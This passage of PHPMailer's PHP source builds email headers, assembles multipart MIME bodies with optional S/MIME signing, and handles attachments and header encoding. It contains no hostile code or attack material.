        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

        // Add custom headers
        foreach ($this->CustomHeader as $header) {
            $result .= $this->headerLine(
                trim($header[0]),
                $this->encodeHeader(trim($header[1]))
            );
        }
        if (!$this->sign_key_file) {
            $result .= $this->headerLine('MIME-Version', '1.0');
            $result .= $this->getMailMIME();
        }

        return $result;
    }

    /**
     * Get the message MIME type headers.
     * @access public
     * @return string
     */
    public function getMailMIME()
    {
        $result = '';
        $ismultipart = true;
        switch ($this->message_type) {
            case 'inline':
                $result .= $this->headerLine('Content-Type', 'multipart/related;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'attach':
            case 'inline_attach':
            case 'alt_attach':
            case 'alt_inline_attach':
                $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            case 'alt':
            case 'alt_inline':
                $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
                break;
            default:
                // Catches case 'plain': and case '':
                $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
                $ismultipart = false;
                break;
        }
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($this->Encoding != '7bit') {
            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
            if ($ismultipart) {
                if ($this->Encoding == '8bit') {
                    $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
                }
                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
            } else {
                $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
            }
        }

        if ($this->Mailer != 'mail') {
            $result .= $this->LE;
        }

        return $result;
    }

    /**
     * Returns the whole MIME message.
     * Includes complete headers and body.
     * Only valid post preSend().
     * @see PHPMailer::preSend()
     * @access public
     * @return string
     */
    public function getSentMIMEMessage()
    {
        return rtrim($this->MIMEHeader . $this->mailHeader, "\n\r") . self::CRLF . self::CRLF . $this->MIMEBody;
    }

    /**
     * Create unique ID
     * @return string
     */
    protected function generateId() {
        return md5(uniqid(time()));
    }

    /**
     * Assemble the message body.
     * Returns an empty string on failure.
     * @access public
     * @throws phpmailerException
     * @return string The assembled message body
     */
    public function createBody()
    {
        $body = '';
        //Create unique IDs and preset boundaries
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1_' . $this->uniqueid;
        $this->boundary[2] = 'b2_' . $this->uniqueid;
        $this->boundary[3] = 'b3_' . $this->uniqueid;

        if ($this->sign_key_file) {
            $body .= $this->getMailMIME() . $this->LE;
        }

        $this->setWordWrap();

        $bodyEncoding = $this->Encoding;
        $bodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
            $bodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $bodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the body part only
        if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
            $bodyEncoding = 'quoted-printable';
        }

        $altBodyEncoding = $this->Encoding;
        $altBodyCharSet = $this->CharSet;
        //Can we do a 7-bit downgrade?
        if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
            $altBodyEncoding = '7bit';
            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit
            $altBodyCharSet = 'us-ascii';
        }
        //If lines are too long, and we're not already using an encoding that will shorten them,
        //change to quoted-printable transfer encoding for the alt body part only
        if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
            $altBodyEncoding = 'quoted-printable';
        }
        //Use this as a preamble in all multipart message types
        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
        switch ($this->message_type) {
            case 'inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[1]);
                break;
            case 'attach':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                if (!empty($this->Ical)) {
                    $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
                    $body .= $this->encodeString($this->Ical, $this->Encoding);
                    $body .= $this->LE . $this->LE;
                }
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_inline':
                $body .= $mimepre;
                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[1]);
                break;
            case 'alt_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            case 'alt_inline_attach':
                $body .= $mimepre;
                $body .= $this->textLine('--' . $this->boundary[1]);
                $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->textLine('--' . $this->boundary[2]);
                $body .= $this->headerLine('Content-Type', 'multipart/related;');
                $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
                $body .= $this->LE;
                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
                $body .= $this->encodeString($this->Body, $bodyEncoding);
                $body .= $this->LE . $this->LE;
                $body .= $this->attachAll('inline', $this->boundary[3]);
                $body .= $this->LE;
                $body .= $this->endBoundary($this->boundary[2]);
                $body .= $this->LE;
                $body .= $this->attachAll('attachment', $this->boundary[1]);
                break;
            default:
                // Catch case 'plain' and case '', applies to simple `text/plain` and `text/html` body content types
                //Reset the `Encoding` property in case we changed it for line length reasons
                $this->Encoding = $bodyEncoding;
                $body .= $this->encodeString($this->Body, $this->Encoding);
                break;
        }

        if ($this->isError()) {
            $body = '';
        } elseif ($this->sign_key_file) {
            try {
                if (!defined('PKCS7_TEXT')) {
                    throw new phpmailerException($this->lang('extension_missing') . 'openssl');
                }
                // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
                $file = tempnam(sys_get_temp_dir(), 'mail');
                if (false === file_put_contents($file, $body)) {
                    throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
                }
                $signed = tempnam(sys_get_temp_dir(), 'signed');
                //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
                if (empty($this->sign_extracerts_file)) {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null
                    );
                } else {
                    $sign = @openssl_pkcs7_sign(
                        $file,
                        $signed,
                        'file://' . realpath($this->sign_cert_file),
                        array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
                        null,
                        PKCS7_DETACHED,
                        $this->sign_extracerts_file
                    );
                }
                if ($sign) {
                    @unlink($file);
                    $body = file_get_contents($signed);
                    @unlink($signed);
                    //The message returned by openssl contains both headers and body, so need to split them up
                    $parts = explode("\n\n", $body, 2);
                    $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
                    $body = $parts[1];
                } else {
                    @unlink($file);
                    @unlink($signed);
                    throw new phpmailerException($this->lang('signing') . openssl_error_string());
                }
            } catch (phpmailerException $exc) {
                $body = '';
                if ($this->exceptions) {
                    throw $exc;
                }
            }
        }
        return $body;
    }

    /**
     * Return the start of a message boundary.
     * @access protected
     * @param string $boundary
     * @param string $charSet
     * @param string $contentType
     * @param string $encoding
     * @return string
     */
    protected function getBoundary($boundary, $charSet, $contentType, $encoding)
    {
        $result = '';
        if ($charSet == '') {
            $charSet = $this->CharSet;
        }
        if ($contentType == '') {
            $contentType = $this->ContentType;
        }
        if ($encoding == '') {
            $encoding = $this->Encoding;
        }
        $result .= $this->textLine('--' . $boundary);
        $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
        $result .= $this->LE;
        // RFC1341 part 5 says 7bit is assumed if not specified
        if ($encoding != '7bit') {
            $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
        }
        $result .= $this->LE;

        return $result;
    }

    /**
     * Return the end of a message boundary.
     * @access protected
     * @param string $boundary
     * @return string
     */
    protected function endBoundary($boundary)
    {
        return $this->LE . '--' . $boundary . '--' . $this->LE;
    }

    /**
     * Set the message type.
     * PHPMailer only supports some preset message types, not arbitrary MIME structures.
     * @access protected
     * @return void
     */
    protected function setMessageType()
    {
        $type = array();
        if ($this->alternativeExists()) {
            $type[] = 'alt';
        }
        if ($this->inlineImageExists()) {
            $type[] = 'inline';
        }
        if ($this->attachmentExists()) {
            $type[] = 'attach';
        }
        $this->message_type = implode('_', $type);
        if ($this->message_type == '') {
            //The 'plain' message_type refers to the message having a single body element, not that it is plain-text
            $this->message_type = 'plain';
        }
    }

    /**
     * Format a header line.
     * @access public
     * @param string $name
     * @param string $value
     * @return string
     */
    public function headerLine($name, $value)
    {
        return $name . ': ' . $value . $this->LE;
    }

    /**
     * Return a formatted mail line.
     * @access public
     * @param string $value
     * @return string
     */
    public function textLine($value)
    {
        return $value . $this->LE;
    }

    /**
     * Add an attachment from a path on the filesystem.
     * Never use a user-supplied path to a file!
     * Returns false if the file could not be found or read.
     * Explicitly *does not* support passing URLs; PHPMailer is not an HTTP client.
     * If you need to do that, fetch the resource yourself and pass it in via a local file or string.
     * @param string $path Path to the attachment.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @throws phpmailerException
     * @return boolean
     */
    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
    {
        try {
            if (!self::isPermittedPath($path) or !@is_file($path)) {
                throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
            }

            // If a MIME type is not specified, try to work it out from the file name
            if ($type == '') {
                $type = self::filenameToType($path);
            }

            $filename = basename($path);
            if ($name == '') {
                $name = $filename;
            }

            $this->attachment[] = array(
                0 => $path,
                1 => $filename,
                2 => $name,
                3 => $encoding,
                4 => $type,
                5 => false, // isStringAttachment
                6 => $disposition,
                7 => 0
            );

        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
        return true;
    }

    /**
     * Return the array of attachments.
     * @return array
     */
    public function getAttachments()
    {
        return $this->attachment;
    }

    /**
     * Attach all file, string, and binary attachments to the message.
     * Returns an empty string on failure.
     * @access protected
     * @param string $disposition_type
     * @param string $boundary
     * @return string
     */
    protected function attachAll($disposition_type, $boundary)
    {
        // Return text of body
        $mime = array();
        $cidUniq = array();
        $incl = array();

        // Add all attachments
        foreach ($this->attachment as $attachment) {
            // Check if it is a valid disposition_filter
            if ($attachment[6] == $disposition_type) {
                // Check for string attachment
                $string = '';
                $path = '';
                $bString = $attachment[5];
                if ($bString) {
                    $string = $attachment[0];
                } else {
                    $path = $attachment[0];
                }

                $inclhash = md5(serialize($attachment));
                if (in_array($inclhash, $incl)) {
                    continue;
                }
                $incl[] = $inclhash;
                $name = $attachment[2];
                $encoding = $attachment[3];
                $type = $attachment[4];
                $disposition = $attachment[6];
                $cid = $attachment[7];
                if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
                    continue;
                }
                $cidUniq[$cid] = true;

                $mime[] = sprintf('--%s%s', $boundary, $this->LE);
                //Only include a filename property if we have one
                if (!empty($name)) {
                    $mime[] = sprintf(
                        'Content-Type: %s; name="%s"%s',
                        $type,
                        $this->encodeHeader($this->secureHeader($name)),
                        $this->LE
                    );
                } else {
                    $mime[] = sprintf(
                        'Content-Type: %s%s',
                        $type,
                        $this->LE
                    );
                }
                // RFC1341 part 5 says 7bit is assumed if not specified
                if ($encoding != '7bit') {
                    $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
                }

                if ($disposition == 'inline') {
                    $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
                }

                // If a filename contains any of these chars, it should be quoted,
                // but not otherwise: RFC2183 & RFC2045 5.1
                // Fixes a warning in IETF's msglint MIME checker
                // Allow for bypassing the Content-Disposition header totally
                if (!(empty($disposition))) {
                    $encoded_name = $this->encodeHeader($this->secureHeader($name));
                    if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
                        $mime[] = sprintf(
                            'Content-Disposition: %s; filename="%s"%s',
                            $disposition,
                            $encoded_name,
                            $this->LE . $this->LE
                        );
                    } else {
                        if (!empty($encoded_name)) {
                            $mime[] = sprintf(
                                'Content-Disposition: %s; filename=%s%s',
                                $disposition,
                                $encoded_name,
                                $this->LE . $this->LE
                            );
                        } else {
                            $mime[] = sprintf(
                                'Content-Disposition: %s%s',
                                $disposition,
                                $this->LE . $this->LE
                            );
                        }
                    }
                } else {
                    $mime[] = $this->LE;
                }

                // Encode as string attachment
                if ($bString) {
                    $mime[] = $this->encodeString($string, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                } else {
                    $mime[] = $this->encodeFile($path, $encoding);
                    if ($this->isError()) {
                        return '';
                    }
                    $mime[] = $this->LE . $this->LE;
                }
            }
        }

        $mime[] = sprintf('--%s--%s', $boundary, $this->LE);

        return implode('', $mime);
    }

    /**
     * Encode a file attachment in requested format.
     * Returns an empty string on failure.
     * @param string $path The full path to the file
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @throws phpmailerException
     * @access protected
     * @return string
     */
    protected function encodeFile($path, $encoding = 'base64')
    {
        try {
            if (!self::isPermittedPath($path) or !file_exists($path)) {
                throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
            }
            $magic_quotes = false;
            if( version_compare(PHP_VERSION, '7.4.0', '<') ) {
                $magic_quotes = get_magic_quotes_runtime();
            }
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime(false);
                } else {
                    //Doesn't exist in PHP 5.4, but we don't need to check because
                    //get_magic_quotes_runtime always returns false in 5.4+
                    //so it will never get here
                    ini_set('magic_quotes_runtime', false);
                }
            }
            $file_buffer = file_get_contents($path);
            $file_buffer = $this->encodeString($file_buffer, $encoding);
            if ($magic_quotes) {
                if (version_compare(PHP_VERSION, '5.3.0', '<')) {
                    set_magic_quotes_runtime($magic_quotes);
                } else {
                    ini_set('magic_quotes_runtime', $magic_quotes);
                }
            }
            return $file_buffer;
        } catch (Exception $exc) {
            $this->setError($exc->getMessage());
            return '';
        }
    }

    /**
     * Encode a string in requested format.
     * Returns an empty string on failure.
     * @param string $str The text to encode
     * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
     * @access public
     * @return string
     */
    public function encodeString($str, $encoding = 'base64')
    {
        $encoded = '';
        switch (strtolower($encoding)) {
            case 'base64':
                $encoded = chunk_split(base64_encode($str), 76, $this->LE);
                break;
            case '7bit':
            case '8bit':
                $encoded = $this->fixEOL($str);
                // Make sure it ends with a line break
                if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
                    $encoded .= $this->LE;
                }
                break;
            case 'binary':
                $encoded = $str;
                break;
            case 'quoted-printable':
                $encoded = $this->encodeQP($str);
                break;
            default:
                $this->setError($this->lang('encoding') . $encoding);
                break;
        }
        return $encoded;
    }

    /**
     * Encode a header string optimally.
     * Picks shortest of Q, B, quoted-printable or none.
     * @access public
     * @param string $str
     * @param string $position
     * @return string
     */
    public function encodeHeader($str, $position = 'text')
    {
        $matchcount = 0;
        switch (strtolower($position)) {
            case 'phrase':
                if (!preg_match('/[\200-\377]/', $str)) {
                    // Can't use addslashes as we don't know the value of magic_quotes_sybase
                    $encoded = addcslashes($str, "\0..\37\177\\\"");
                    if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
                        return ($encoded);
                    } else {
                        return ("\"$encoded\"");
                    }
                }
                $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                $matchcount = preg_match_all('/[()"]/', $str, $matches);
                // Intentional fall-through
            case 'text':
            default:
                $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
                break;
        }

        //There are no chars that need encoding
        if ($matchcount == 0) {
            return ($str);
        }

        $maxlen = 75 - 7 - strlen($this->CharSet);
        // Try to select the encoding which should produce the shortest output
        if ($matchcount > strlen($str) / 3) {
            // More than a third of the content will need encoding, so B encoding will be most efficient
            $encoding = 'B';
            if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
                // Use a custom function which correctly encodes and wraps long
                // multibyte strings without breaking lines within a character
                $encoded = $this->base64EncodeWrapMB($str, "\n");
            } else {
                $encoded = base64_encode($str);
                $maxlen -= $maxlen % 4;
                $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
            }
        } else {
            $encoding = 'Q';
            $encoded = $this->encodeQ($str, $position);
            $encoded = $this->wrapText($encoded, $maxlen, true);
            $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
        }

        $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
        $encoded = trim(str_replace("\n", $this->LE, $encoded));

        return $encoded;
    }

    /**
     * Check if a string contains multi-byte characters.
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @return boolean
     */
    public function hasMultiBytes($str)
    {
        if (function_exists('mb_strlen')) {
            return (strlen($str) > mb_strlen($str, $this->CharSet));
        } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
            return false;
        }
    }

    /**
     * Does a string contain any 8-bit chars (in any charset)?
     * @param string $text
     * @return boolean
     */
    public function has8bitChars($text)
    {
        return (boolean)preg_match('/[\x80-\xFF]/', $text);
    }

    /**
     * Encode and wrap long multibyte strings for mail headers
     * without breaking lines within a character.
     * Adapted from a function by paravoid
     * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
     * @access public
     * @param string $str multi-byte text to wrap encode
     * @param string $linebreak string to use as linefeed/end-of-line
     * @return string
     */
    public function base64EncodeWrapMB($str, $linebreak = null)
    {
        $start = '=?' . $this->CharSet . '?B?';
        $end = '?=';
        $encoded = '';
        if ($linebreak === null) {
            $linebreak = $this->LE;
        }

        $mb_length = mb_strlen($str, $this->CharSet);
        // Each line must have length <= 75, including $start and $end
        $length = 75 - strlen($start) - strlen($end);
        // Average multi-byte ratio
        $ratio = $mb_length / strlen($str);
        // Base64 has a 4:3 ratio
        $avgLength = floor($length * $ratio * .75);

        for ($i = 0; $i < $mb_length; $i += $offset) {
            $lookBack = 0;
            do {
                $offset = $avgLength - $lookBack;
                $chunk = mb_substr($str, $i, $offset, $this->CharSet);
                $chunk = base64_encode($chunk);
                $lookBack++;
            } while (strlen($chunk) > $length);
            $encoded .= $chunk . $linebreak;
        }

        // Chomp the last linefeed
        $encoded = substr($encoded, 0, -strlen($linebreak));
        return $encoded;
    }

    /**
     * Encode a string in quoted-printable format.
     * According to RFC2045 section 6.7.
     * @access public
     * @param string $string The text to encode
     * @param integer $line_max Number of chars allowed on a line before wrapping
     * @return string
     * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
     */
    public function encodeQP($string, $line_max = 76)
    {
        // Use native function if it's available (>= PHP5.3)
        if (function_exists('quoted_printable_encode')) {
            return quoted_printable_encode($string);
        }
        // Fall back to a pure PHP implementation
        $string = str_replace(
            array('%20', '%0D%0A.', '%0D%0A', '%'),
            array(' ', "\r\n=2E", "\r\n", '='),
            rawurlencode($string)
        );
        return preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
    }

    /**
     * Backward compatibility wrapper for an old QP encoding function that was removed.
     * @see PHPMailer::encodeQP()
     * @access public
     * @param string $string
     * @param integer $line_max
     * @param boolean $space_conv
     * @return string
     * @deprecated Use encodeQP instead.
     */
    public function encodeQPphp(
        $string,
        $line_max = 76,
        /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
    ) {
        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
